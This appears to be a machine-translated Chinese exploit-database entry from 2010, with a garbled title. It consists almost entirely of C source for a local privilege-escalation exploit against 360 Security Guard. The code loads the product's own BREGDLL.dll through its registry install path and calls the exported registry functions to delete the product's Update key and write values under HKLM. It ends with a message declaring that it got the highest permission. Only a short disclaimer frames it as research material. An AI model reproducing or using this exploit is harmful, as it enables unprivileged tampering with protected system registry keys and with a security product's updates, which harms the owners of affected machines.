3 6 0 security guards there is a local mention of the right to exploit the backdoor using the app-bug warning-the black bar safety net

2010-02-03T00:00:00
ID MYHACK58:62201026130
Type myhack58
Reporter 佚名
Modified 2010-02-03T00:00:00

Description

This site provides program(method)may carry offensive,for security research and teaching purposes,at your own risk!

include <windows. h>

typedef BOOL (WINAPI INIT_REG_ENGINE)(); typedef LONG (WINAPI BREG_DELETE_KEY)(HKEY hKey, LPCSTR lpSubKey); typedef LONG (WINAPI BREG_OPEN_KEY)(HKEY hKey, LPCSTR lpSubKey, PHKEY phkResult); typedef LONG (WINAPI BREG_CLOSE_KEY)(HKEY hKey); typedef LONG (WINAPI REG_SET_VALUE_EX)(HKEY hKey, LPCSTR lpValueName, DWORD Reserved, DWORD dwType, const BYTE lpData, DWORD cbData);

BREG_DELETE_KEY BRegDeleteKey = NULL; BREG_OPEN_KEY BRegOpenKey = NULL; BREG_CLOSE_KEY BRegCloseKey = NULL; REG_SET_VALUE_EX BRegSetValueEx = NULL;

define AppPath "Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\360safe.exe"

define TestDeleteKey HKEY_LOCAL_MACHINE

define TestDeleteRegPath "Software\\360Safe\\Update"

define TestSetKey HKEY_LOCAL_MACHINE

define TestSetPath "Software\\360Safe"

BOOL InitBRegDll() { LONG lResult; HKEY hKey;

CHAR cPath[MAX_PATH + 3 2] = { 0 }; DWORD dwPathLen = MAX_PATH;

lResult = RegOpenKeyA(HKEY_LOCAL_MACHINE, AppPath, &hKey); if (FAILED(lResult)) return FALSE;

DWORD dwType = REG_SZ; lResult = RegQueryValueExA(hKey, "Path", NULL, &dwType, (LPBYTE)cPath, &dwPathLen); RegCloseKey(hKey); if (FAILED(lResult)) return FALSE;

strcat(cPath, "\\deepscan\\BREGDLL.dll");

HMODULE modBReg = LoadLibraryA(cPath); if (! modBReg) return FALSE;

INIT_REG_ENGINE InitRegEngine = (INIT_REG_ENGINE)GetProcAddress(modBReg, "InitRegEngine"); BRegDeleteKey = (BREG_DELETE_KEY)GetProcAddress(modBReg, "BRegDeleteKey"); BRegOpenKey = (BREG_OPEN_KEY)GetProcAddress(modBReg, "BRegOpenKey"); BRegCloseKey = (BREG_CLOSE_KEY)GetProcAddress(modBReg, "BRegCloseKey"); BRegSetValueEx = (REG_SET_VALUE_EX)GetProcAddress(modBReg, "BRegSetValueEx");

if (! InitRegEngine || ! BRegDeleteKey || ! BRegOpenKey || ! BRegCloseKey || ! BRegSetValueEx) { FreeLibrary(modBReg); return FALSE; }

if (! InitRegEngine()) { FreeLibrary(modBReg); return FALSE; }

return TRUE; }

LONG TestSetRegKey() { HKEY hKey; LONG lResult;

lResult = BRegOpenKey(TestSetKey, TestSetPath, &hKey); if (FAILED(lResult)) return lResult;

DWORD dwType = REG_SZ; static char szData[] = "TEST VALUE"; lResult = BRegSetValueEx(hKey, TestSetPath, NULL, dwType, (const BYTE *)&szData, (DWORD)sizeof(szData)); BRegCloseKey(hKey);

return lResult; }

int main(int argc, char *argv[]) { if (! InitBRegDll()) { MessageBoxA(NULL, "initialization BReg failed!", "Failed", MB_ICONSTOP); return 1;

} if (FAILED(BRegDeleteKey(TestDeleteKey, TestDeleteRegPath))) { MessageBoxA(NULL, "key delete failed!", "Failed", MB_ICONSTOP); return 2;

}

if (FAILED(TestSetRegKey())) { MessageBoxA(NULL, "SET key value failed!", "Failed", MB_ICONSTOP); return 3; }

MessageBoxA(NULL, "broke system security check, get the highest permission, exploit success!", "Success", MB_OK); return 0; }// sebug.net